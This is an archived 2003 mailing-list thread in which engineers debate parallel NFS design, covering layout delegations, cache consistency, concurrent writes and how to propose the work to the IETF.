hBMJrufK001673; Mon, 22 Dec 2003 12:53:56 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id hBMJrtIt031106; Mon, 22 Dec 2003 12:53:55 -0700 Received: from cthulu.lanl.gov (vpn-client-189.lanl.gov [128.165.253.189]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id hBMJrqFR016230; Mon, 22 Dec 2003 12:53:53 -0700 Message-Id: <5.2.0.9.2.20031222125146.018b3cc0@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Mon, 22 Dec 2003 12:53:51 -0700 To: pnfs-reqs@yahoogroups.com, ""'julian_satran@il.ibm.com'"" , ""'pnfs-ops@yahoogroups.com'"" Cc: ""'pnfs-reqs@yahoogroups.com'"" In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D38733@PIKES.panasas.com > Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_15088946==.ALT"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] RE: [pnfs-ops] delegation arguments summary X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs At 02:41 PM 12/22/2003 -0500, Halevy, Benny wrote: > > > * layout delegation revocation (and enforcement of) > > > This issue is orthogonal. We dicussed volatile file handles, OSD > > > capabilities, and SAN LUN mapping techniques. > > > > > > > Almost orthogonal. There is a subtle problem of sharing layout delegations if one of clientts is doing writes or appends. > > This falls under CW (concurrent write) sharing since there is one or more writers. > By saying ""this issue is orthogonal"" I meant that the mechanism for revoking the > layout delegation is orthogonal to whether we need a complete new set of > delegations or extend the current model. > > I agree that when the layout changes due to writes, appends, or for any other > reason the server has to recall layout delegations, at least from those clients > that requested layout for region that's about to be the changed. Hopefully, > all clients behave nicely and their delegations do not have to be revoked. > You want to revoke the layout delegation from unresponsive clients since allowing > them to use the stale layout may end up with data corruption. > > Speaking of append, I always thought it'd be really nice to have an NFS APPEND > operation... This seems like something we can propose right away on nfsv4@ietf.org > How does people on this list feel about that? > > A use case I encountered is a customer that use a shared file as a log and have > multiple nodes in the cluster appending to that file with some coordination > (right now, NFSv3 + NLM). They don't care about ordering of the appended records > and they even accept records written more than once to the file, but they do care > about the consistency of each record so writers can't just silently overwrite > each other. > > > The issue is furthermore complicated by the ""sparse"" layout that we all want to support (do we?) > > Can you please turn the details knob on ""sparse"" layout and maybe give a > concrete example where this layout make the proposed model fall short? > > > > layout delegation: > > > - returned on READ_IND, WRITE_IND, LAYOUT_DELEG_ASK > > > > > > Covers only layout (aggregation header, map, handles/caps). > > > Optional, recallable, revocable. > > > Assures the client that the layout information it has will not change. > > > > But the layout information may change even in the most trivial single writer case and definitely in RW cases. > > Correct, when the layout is about to be changed (a writer calls COMMIT_IND) > or when there is a write-write conflict (two clients call WRITE_IND for > overlapping regions) some or all layout delegations must be recalled. > > > > WRITE yes client can safely cache read and write data, > > > serve opens, and locks locally and can perform > > > out-of-band or server reads and writes. > > At least this requires mapping updates for block storage. > > For those souls that want strict local-FS semantics (UNIX) cache and map invalidations can be a side-effect of the byte-range locking mechanism. > > This sounds like something that falls into the distributed cache coherency > realm - meaning multiple clients have a CW data delegation and a layout delegation. > My assumption was that in this case the logical block map changes > rarely when the clients are writing in place, otherwise they should fall back to > writing through the server. As long as there is a way to get concurrent write to scale with reasonable behavior, like non overlapped regions and any other reasonable promises. I suppose we need to pin down what those reasonable promises are. Gary > Having an efficient distributed cache coherency > mechanism in NFS seems to me like a stretch but it's worth a discussion to see > if block based SAN filesystems can or can't live without it. > > Benny > > > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > > > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From black_david@emc.com Tue Dec 23 12:33:03 2003 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 82796 invoked from network); 23 Dec 2003 20:33:03 -0000 Received: from unknown (66.218.66.216) by m20.grp.scd.yahoo.com with QMQP; 23 Dec 2003 20:33:03 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta1.grp.scd.yahoo.com with SMTP; 23 Dec 2003 20:33:02 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 23 Dec 2003 15:33:02 -0500 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Tue, 23 Dec 2003 15:32:59 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary=""----_=_NextPart_000_01C3C993.F4B068F2"" X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT Garth Gibson wrote: > > The RDDP problem statement is similar and dissimilar to what we are > > doing. It is similar in that it is about higher performance, which > > always turns out to be cost-performance. It is dissimilar in that it > > was fighting an uphill battle to get RDMA into the IETF, while we are > > looking at no preconceived support or opposition in the IETF (that I > > am aware of). And it is dissimilar in that what we are proposing > > helps in the manageability of federated systems, which is not really a > > performance issue. > > > > I followed the RDDP example closely because it was easy -- our > > arguments on strictly bandwidth are at least as strong, in my opinion. > > And because I am not certain how to predict the IETF management's > > reaction to a manageability argument. And the standardized client > > code argument, although very import to some of us, seemed outside my > > notion of the IETF scope. > > > > Perhaps those with more experience selling ideas to the IETF could > > educate us? Should we focus on a small number of the most easily > > demonstrated problems or fill the problem statement out with all the > > problems we can contribute to solving? Having been heavily involved in getting both IPS and RDDP work underway in the IETF, I have a few observations: - A problem statement draft is a good thing to have, but the folks in charge of the IETF are looking for a concise summary of what the problem is, how to go about solving it, and **why** the IETF should solve it. The latter is of particular importance, as I'll explain shortly. - I've attached a slide deck that I used for RDDP at the Spring 2002 IETF BOF on this topic. This sort of ""elevator pitch"" style coverage of the topics is needed in addition to the more in-depth academic approach that is in the RDDP problem statement. - Goals and battles need to be chosen carefully. One of the things that delayed RDDP work is that the RDDP proponents were absolutely convinced that they needed to change TCP, and hence decided to go to battle with the IETF Transport community which was equally convinced that TCP should not be changed. In 20/20 hindsight, this was a mistake, as the IETF Transport community turned out to be correct that TCP does not require normative changes for RDDP. - Nonetheless, there is somewhat of an ""uphill battle"" to be engaged, as Beepy and/or Spencer described in Ann Arbor - the IETF has grown to a potentially unwieldy size, and as a consequence has developed a healthy institutional bias against new work. As a result, it is necessary to have good reasons not only for why work should be done, but also why it should be done in the IETF. The fact that we want to extend an existing IETF protocol (NFSv4) in a way that can take advantage of another (iSCSI) provides at least two reasons. Beyond this, there is value in drawing on the IETF's network expertise in areas such as security. - A draft WG statement/scope of work is very important at an early stage, including not only what we want to do, but what we do *not* want to do. I tend to view the latter as more important, as a shared view of what will not be worked on is a significant sign that a technical community has coalesced around a common effort and goals. For example, there are fairly strong statements about work that is out of scope in both the IPS and RDDP charters, and as a WG chair, I've found those statements useful from time to time ... I hope this helps, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- Attachment (not stored) ROI-Problem-Scenario-0302.ppt Type: application/vnd.ms-powerpoint >From black_david@emc.com Tue Dec 23 13:34:43 2003 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 93561 invoked from network); 23 Dec 2003 21:34:41 -0000 Received: from unknown (66.218.66.218) by m2.grp.scd.yahoo.com with QMQP; 23 Dec 2003 21:34:41 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta3.grp.scd.yahoo.com with SMTP; 23 Dec 2003 21:34:41 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 23 Dec 2003 16:34:40 -0500 Message-ID: To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Date: Tue, 23 Dec 2003 16:34:32 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: Re: pNFS Discussion Summary 1: Caching and Delegations X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT I've split this commentary on Garth's issues into two categories. This is about caching, delegations, and layout info. > > [1.2 Cache consistency]: NFSv4 delegations are not about client cache > > consistency; does out-of-band access require stronger cache > > consistency than NFSv4 provides With a little care in defining the protocol extensions, this issue can be left to server implementers, unless one wants to take the (silly, IMHO) position that the protocol should be incapable of providing stronger cache consistency. HighRoad uses the same FMP protocol to provide both NFS-style close-to-open consistency for NFS clients and the stronger forms of consistency required by CIFS - as long as the server knows what clients have which access rights to what blocks, cache consistency strength comes down to server implementation decisions about what outstanding access rights conflict with a new request. We've actually built server prototypes that provide stronger consistency for NFS without change to either the FMP protocol or clients, but the shipped product only provides NFS-style consistency for NFS. > > [1.3 Delegation promotion & reacquisition]: must/should NFSv4 offer > > mechanisms for clients to possess a delegations more than once per open > > > > Delegations in NFSv4 are new, and came with significant concern about > > lots of complexity for not much performance, as they may do as little > > as avoid the client waiting for one round trip to the server on open. > > So, as described above with respect to cache consistency, the > > limitations on delegations can mean great difficulties for clients > > having performance requirements calling for out-of-band access mostly, > > or exclusively. Yes, and this is a strong reason for separating ""layout"" delegations from the existing ""data"" delegations, IMHO. Consider a web or video server that is caching file opens for performance reasons - if updating the content underneath the server makes it impossible to get the direct access (""layout"") delegations back, the result is that one has to shut down and restart all the servers after the content update in order to restore performance. The sysadmin responsible for this annoying work will want to tar-and-feather the system designers who made it necessary (that would be us if we get this wrong ...). > > [1.4 Layout delegations]: can/should layout metadata ""ride"" on NFSv4 > > delegations or are new ""layout"" delegations needed New ""layout"" delegations are needed for clean separation of functionality, and so that ""layout"" delegations can be designed for direct access requirements. See [1.3] above. > > [1.5 Concurrent write]: write delegations now are held by exactly one > > client, if any; should/must NFS support multiple clients holding > > concurrent layout delegations. I understand the value of this to the self-coordinating HPC applications, but would like to see this functionality specified (assuming it is specified) as a cleanly separable option, as I think the desire to self-coordinate a shared write delegation will be limited to a small number of application spaces, like HPC. I also note Gary's comment that it's sufficient for parallel write to work in the non-overlapping case, which does not require any new concurrent write delegation as long as each client can hold an exclusive write delegation for its range. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From black_david@emc.com Tue Dec 23 13:35:57 2003 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 44163 invoked from network); 23 Dec 2003 21:35:56 -0000 Received: from unknown (66.218.66.216) by m17.grp.scd.yahoo.com with QMQP; 23 Dec 2003 21:35:56 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta1.grp.scd.yahoo.com with SMTP; 23 Dec 2003 21:35:55 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 23 Dec 2003 16:35:54 -0500 Message-ID: To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Date: Tue, 23 Dec 2003 16:35:52 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: Re: pNFS Discussion Summary 1: Functionality X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT I've split this commentary on Garth's issues into two categories. This is about a couple of topics that I would classify as desirable, but not mandatory functionality. > > [1.6 Map revocation]: can/must the NFS server be able to revoke a > > client's use of a map, and enforce no future use (fence off the map) [... snip ...] > > Some would say that this is going to end up being a differentiating > > property of the choice of underlying data server. For example, many > > would say that in systems that allow out-of-band block access, the > > client machines must be trustworthy to respect the delegation recall > > message (and lease timeouts). Others would object to this weakening > > of the NFS server integrity. I tend to take the former position, as if one cannot fence off client access, not allowing access to untrustworthy clients becomes a fallback. In the block world, while mechanisms exist to fence off access, standard means of invoking them are somewhat immature. > > [1.8 NTFS application semantics]: applications coded to NTFS semantics > > are different from those coded to POSIX and UNIX semantics IMHO, this is an orthogonal tarpit we should stay out of. I strongly believe that trying to extend NFSv4 so it can be just as good as CIFS for applications coded to Windows APIs should be someone else's problem. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From black_david@emc.com Tue Dec 23 14:00:01 2003 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 67601 invoked from network); 23 Dec 2003 21:59:57 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 23 Dec 2003 21:59:57 -0000 Received: from unknown (HELO MAHO3MSX2.corp.emc.com) (128.221.11.32) by mta4.grp.scd.yahoo.com with SMTP; 23 Dec 2003 22:00:00 -0000 Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 23 Dec 2003 16:59:59 -0500 Message-ID: To: pnfs-ops@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com Date: Tue, 23 Dec 2003 16:59:55 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.11.32 From: black_david@emc.com Subject: Avoiding Delegation Recall X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 Dave Noveck writes: > I've been wondering whether we could avoid the recall in many cases in which the > layout is changing. I know this sounds like I've lost my mind (so what else is > new?) but hear me out. > > The idea is the layout delegation gives you the ability to rely on mapped areas > but not holes or areas past the eof, and that correspondingly converting an area > from a hole to being mapped should not necessitate recall of the layout delegation. > This would force some complexity in the case in which were about to read from one > of the data servers and found something unmappeed but it would mean that layout > delegations would not need to be recalled in many common cases. That depends on the consistency model. For NFS-level consistency, I believe that returning zeroes for a hole that another client has filled is allowed by the consistency model, but this ""negative caching"" behavior is not exactly common. If one wants to be able to support stronger consistency, one must be able to recall the (non-)layout delegation after the hole fill in order to force the other client to see the newly written data. Writing data that moves EOF is similar, but there are some subtleties in that EOF changes are not identical to cache consistency. I think (and hope in the case of EOF) that all of this falls under my previous comment that with a little attention to detail in specification of the protocol, we can make cache consistency solely a server implementation decision (implementer picks model, protocol can support all the interesting ones). I strongly prefer that approach because I believe consistency model debates to be an attractive tarpit ... Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From julian_satran@il.ibm.com Fri Dec 26 01:36:19 2003 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 67407 invoked from network); 26 Dec 2003 09:36:18 -0000 Received: from unknown (66.218.66.218) by m17.grp.scd.yahoo.com with QMQP; 26 Dec 2003 09:36:18 -0000 Received: from unknown (HELO mtagate2.de.ibm.com) (195.212.29.151) by mta3.grp.scd.yahoo.com with SMTP; 26 Dec 2003 09:36:17 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180] (may be forged)) by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id hBQ9aGHf096778; Fri, 26 Dec 2003 09:36:16 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id hBQ9aF7Y254838; Fri, 26 Dec 2003 10:36:15 +0100 In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D38733@PIKES.panasas.com> To: pnfs-reqs@yahoogroups.com Cc: ""'pnfs-ops@yahoogroups.com'"" , ""'pnfs-reqs@yahoogroups.com'"" MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Fri, 26 Dec 2003 11:36:12 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 26/12/2003 11:36:15, Serialize complete at 26/12/2003 11:36:15 Content-Type: multipart/alternative; boundary=""=_alternative 002D4385C2256E08_="" X-eGroups-Remote-IP: 195.212.29.151 From: Julian Satran Subject: Re: [pnfs-reqs] RE: [pnfs-ops] delegation arguments summary X-Yahoo-Group-Post: member; u=64714603 ADVERTISEMENT Benny and all, ""Halevy, Benny"" wrote on 22/12/2003 21:41:53: > > > > * layout delegation revocation (and enforcement of) > > > This issue is orthogonal. We dicussed volatile file handles, OSD > > > capabilities, and SAN LUN mapping techniques. > > > > > > > Almost orthogonal. There is a subtle problem of sharing layout > delegations if one of clientts is doing writes or appends. > > This falls under CW (concurrent write) sharing since there is one or > more writers. > By saying ""this issue is orthogonal"" I meant that the mechanism for revoking the > layout delegation is orthogonal to whether we need a complete new set of > delegations or extend the current model. > > I agree that when the layout changes due to writes, appends, or for any other > reason the server has to recall layout delegations, at least from those clients > that requested layout for region that's about to be the changed. Hopefully, > all clients behave nicely and their delegations do not have to be revoked. > You want to revoke the layout delegation from unresponsive clients > since allowing > them to use the stale layout may end up with data corruption. > > Speaking of append, I always thought it'd be really nice to have an NFS APPEND > operation... This seems like something we can propose right away on > nfsv4@ietf.org > How does people on this list feel about that? > I agree that supporting append is important data base and message queuing use frequently logs but so do many simple commercial applications. > A use case I encountered is a customer that use a shared file as a log and have > multiple nodes in the cluster appending to that file with some coordination > (right now, NFSv3 + NLM). They don't care about ordering of the > appended records > and they even accept records written more than once to the file, but > they do care > about the consistency of each record so writers can't just silently overwrite > each other. > > > The issue is furthermore complicated by the ""sparse"" layout that we > all want to support (do we?) > > Can you please turn the details knob on ""sparse"" layout and maybe give a > concrete example where this layout make the proposed model fall short? > If you consider very large files very large files sparsely populated and being used by a well coordianted set of applications it makes more sense to have mapping information use and caching coordinated. The longer I think about it the more it looks that mapping and caching information are not distinct pieces of information and we better try to treat them as such. > > > layout delegation: > > > - returned on READ_IND, WRITE_IND, LAYOUT_DELEG_ASK > > > > > > Covers only layout (aggregation header, map, handles/caps). > > > Optional, recallable, revocable. > > > Assures the client that the layout information it has will not change. > > > > But the layout information may change even in the most trivial > single writer case and definitely in RW cases. > > Correct, when the layout is about to be changed (a writer calls COMMIT_IND) > or when there is a write-write conflict (two clients call WRITE_IND for > overlapping regions) some or all layout delegations must be recalled. > > > > WRITE yes client can safely cache read and write data, > > > serve opens, and locks locally and can perform > > > out-of-band or server reads and writes. > > At least this requires mapping updates for block storage. > > For those souls that want strict local-FS semantics (UNIX) cache > and map invalidations can be a side-effect of the byte-range locking mechanism. > > This sounds like something that falls into the distributed cache coherency > realm - meaning multiple clients have a CW data delegation and a > layout delegation. > My assumption was that in this case the logical block map changes > rarely when the clients are writing in place, otherwise they should fall back to > writing through the server. Having an efficient distributed cache coherency > mechanism in NFS seems to me like a stretch but it's worth a discussion to see > if block based SAN filesystems can or can't live without it. > I think that if we work towards common structures for mapping and caching we might end up letting the implementer or user decide about the consistency level he wants and support all. We certainly can't afford to ignore those that require consistency beyond the close-to-open level conventionally associated with NFS especially when there are distributed or cluster file-systems that got their customers use it today (GPFS, SAN-FS). > Benny > > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From julian_satran@il.ibm.com Fri Dec 26 01:36:27 2003 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 74476 invoked from network); 26 Dec 2003 09:36:24 -0000 Received: from unknown (66.218.66.166) by m12.grp.scd.yahoo.com with QMQP; 26 Dec 2003 09:36:24 -0000 Received: from unknown (HELO mtagate1.de.ibm.com) (195.212.29.150) by mta5.grp.scd.yahoo.com with SMTP; 26 Dec 2003 09:36:23 -0000 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196] (may be forged)) by mtagate1.de.ibm.com (8.12.10/8.12.10) with ESMTP id hBQ9aJjB127026; Fri, 26 Dec 2003 09:36:19 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id hBQ9aHO5258208; Fri, 26 Dec 2003 10:36:18 +0100 In-Reply-To: <5.2.0.9.2.20031222125146.018b3cc0@cic-mail.lanl.gov> To: Gary Grider Cc: ""'pnfs-ops@yahoogroups.com'"" , pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Fri, 26 Dec 2003 11:36:14 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 26/12/2003 11:36:18, Serialize complete at 26/12/2003 11:36:18 Content-Type: multipart/alternative; boundary=""=_alternative 002DC7EBC2256E08_="" X-eGroups-Remote-IP: 195.212.29.150 From: Julian Satran Subject: Re: [pnfs-reqs] RE: [pnfs-ops] delegation arguments summary X-Yahoo-Group-Post: member; u=64714603 I agree with Gary that handling efficiently the ""good-path"" (e.g., concurrent writers with non-overlapping regions, or single writer with readers needing only close-to-open consistency) is essential. To me it looks as all those could be better handled if we could approach mapping and caching concurrently. Regards, Julo Gary Grider 22/12/2003 21:53 To pnfs-reqs@yahoogroups.com, Julian Satran/Haifa/IBM@IBMIL, ""'pnfs-ops@yahoogroups.com'"" cc ""'pnfs-reqs@yahoogroups.com'"" Subject Re: [pnfs-reqs] RE: [pnfs-ops] delegation arguments summary At 02:41 PM 12/22/2003 -0500, Halevy, Benny wrote: > > * layout delegation revocation (and enforcement of) > > This issue is orthogonal. We dicussed volatile file handles, OSD > > capabilities, and SAN LUN mapping techniques. > > > > Almost orthogonal. There is a subtle problem of sharing layout delegations if one of clientts is doing writes or appends. This falls under CW (concurrent write) sharing since there is one or more writers. By saying ""this issue is orthogonal"" I meant that the mechanism for revoking the layout delegation is orthogonal to whether we need a complete new set of delegations or extend the current model. I agree that when the layout changes due to writes, appends, or for any other reason the server has to recall layout delegations, at least from those clients that requested layout for region that's about to be the changed. Hopefully, all clients behave nicely and their delegations do not have to be revoked. You want to revoke the layout delegation from unresponsive clients since allowing them to use the stale layout may end up with data corruption. Speaking of append, I always thought it'd be really nice to have an NFS APPEND operation... This seems like something we can propose right away on nfsv4@ietf.org How does people on this list feel about that? A use case I encountered is a customer that use a shared file as a log and have multiple nodes in the cluster appending to that file with some coordination (right now, NFSv3 + NLM). They don't care about ordering of the appended records and they even accept records written more than once to the file, but they do care about the consistency of each record so writers can't just silently overwrite each other. > The issue is furthermore complicated by the ""sparse"" layout that we all want to support (do we?) Can you please turn the details knob on ""sparse"" layout and maybe give a concrete example where this layout make the proposed model fall short? > > layout delegation: > > - returned on READ_IND, WRITE_IND, LAYOUT_DELEG_ASK > > > > Covers only layout (aggregation header, map, handles/caps). > > Optional, recallable, revocable. > > Assures the client that the layout information it has will not change. > > But the layout information may change even in the most trivial single writer case and definitely in RW cases. Correct, when the layout is about to be changed (a writer calls COMMIT_IND) or when there is a write-write conflict (two clients call WRITE_IND for overlapping regions) some or all layout delegations must be recalled. > > WRITE yes client can safely cache read and write data, > > serve opens, and locks locally and can perform > > out-of-band or server reads and writes. > At least this requires mapping updates for block storage. > For those souls that want strict local-FS semantics (UNIX) cache and map invalidations can be a side-effect of the byte-range locking mechanism. This sounds like something that falls into the distributed cache coherency realm - meaning multiple clients have a CW data delegation and a layout delegation. My assumption was that in this case the logical block map changes rarely when the clients are writing in place, otherwise they should fall back to writing through the server. As long as there is a way to get concurrent write to scale with reasonable behavior, like non overlapped regions and any other reasonable promises. I suppose we need to pin down what those reasonable promises are. Gary Having an efficient distributed cache coherency mechanism in NFS seems to me like a stretch but it's worth a discussion to see if block based SAN filesystems can or can't live without it. Benny To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com Yahoo! Groups Links * To visit your group on the web, go to: * http://groups.yahoo.com/group/pnfs-reqs/ * * To unsubscribe from this group, send an email to: * pnfs-reqs-unsubscribe@yahoogroups.com * * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From julian_satran@il.ibm.com Fri Dec 26 01:36:45 2003 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 68436 invoked from network); 26 Dec 2003 09:36:44 -0000 Received: from unknown (66.218.66.217) by m17.grp.scd.yahoo.com with QMQP; 26 Dec 2003 09:36:44 -0000 Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta2.grp.scd.yahoo.com with SMTP; 26 Dec 2003 09:36:43 -0000 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196] (may be forged)) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id hBQ9agn0122204; Fri, 26 Dec 2003 09:36:42 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id hBQ9afO5284158; Fri, 26 Dec 2003 10:36:42 +0100 In-Reply-To: To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Fri, 26 Dec 2003 11:36:39 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 26/12/2003 11:36:41, Serialize complete at 26/12/2003 11:36:41 Content-Type: multipart/alternative; boundary=""=_alternative 0033FFCAC2256E08_="" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: Re: [pnfs-ops] Re: pNFS Discussion Summary 1: Caching and Delegations X-Yahoo-Group-Post: member; u=64714603 David & all, black_david@emc.com wrote on 23/12/2003 23:34:32: > I've split this commentary on Garth's issues into two categories. > This is about caching, delegations, and layout info. > > > > [1.2 Cache consistency]: NFSv4 delegations are not about client cache > > > consistency; does out-of-band access require stronger cache > > > consistency than NFSv4 provides > > With a little care in defining the protocol extensions, this issue > can be left to server implementers, unless one wants to take the > (silly, IMHO) position that the protocol should be incapable of > providing stronger cache consistency. > I agree. As a statement of direction we should say that the protocol should be capable of providing all level of consistency close-to-open or UNIX and it should be a client/server - needed/implemented decision on what to use. The issue we may want to discuss is what must be provided as a minimum in a compliant client/server. > HighRoad uses the same FMP protocol to provide both NFS-style > close-to-open consistency for NFS clients and the stronger forms > of consistency required by CIFS - as long as the server knows what > clients have which access rights to what blocks, cache consistency > strength comes down to server implementation decisions about > what outstanding access rights conflict with a new request. We've > actually built server prototypes that provide stronger consistency > for NFS without change to either the FMP protocol or clients, but > the shipped product only provides NFS-style consistency for NFS. > > > > [1.3 Delegation promotion & reacquisition]: must/should NFSv4 offer > > > mechanisms for clients to possess a delegations more than once per open > > > > > > Delegations in NFSv4 are new, and came with significant concern about > > > lots of complexity for not much performance, as they may do as little > > > as avoid the client waiting for one round trip to the server on open. > > > So, as described above with respect to cache consistency, the > > > limitations on delegations can mean great difficulties for clients > > > having performance requirements calling for out-of-band access mostly, > > > or exclusively. > > Yes, and this is a strong reason for separating ""layout"" delegations from > the existing ""data"" delegations, IMHO. Consider a web or video server > that is caching file opens for performance reasons - if updating the > content underneath the server makes it impossible to get the direct > access (""layout"") delegations back, the result is that one has to shut > down and restart all the servers after the content update in order to > restore performance. The sysadmin responsible for this annoying > work will want to tar-and-feather the system designers who made > it necessary (that would be us if we get this wrong ...). > I have my doubts that this makes sense as I could not find a case in which those are not strongly related and doing them separately will force us into considering a myriad of invalid combinations and failure modes. The only good argument for doing them separately is that they are easier to implement and understand separately but this might be misleading (it may increase substantially the exception handling). This is why I would refrain from suggesting this as a requirement now. > > > [1.4 Layout delegations]: can/should layout metadata ""ride"" on NFSv4 > > > delegations or are new ""layout"" delegations needed > > New ""layout"" delegations are needed for clean separation of functionality, > and so that ""layout"" delegations can be designed for direct access > requirements. See [1.3] above. > > > > [1.5 Concurrent write]: write delegations now are held by exactly one > > > client, if any; should/must NFS support multiple clients holding > > > concurrent layout delegations. > > I understand the value of this to the self-coordinating HPC applications, > but would like to see this functionality specified (assuming it is > specified) as a cleanly separable option, as I think the desire to > self-coordinate a shared write delegation will be limited to a small > number of application spaces, like HPC. I also note Gary's comment > that it's sufficient for parallel write to work in the non-overlapping > case, which does not require any new concurrent write delegation as > long as each client can hold an exclusive write delegation for its range. > > Thanks, > --David > 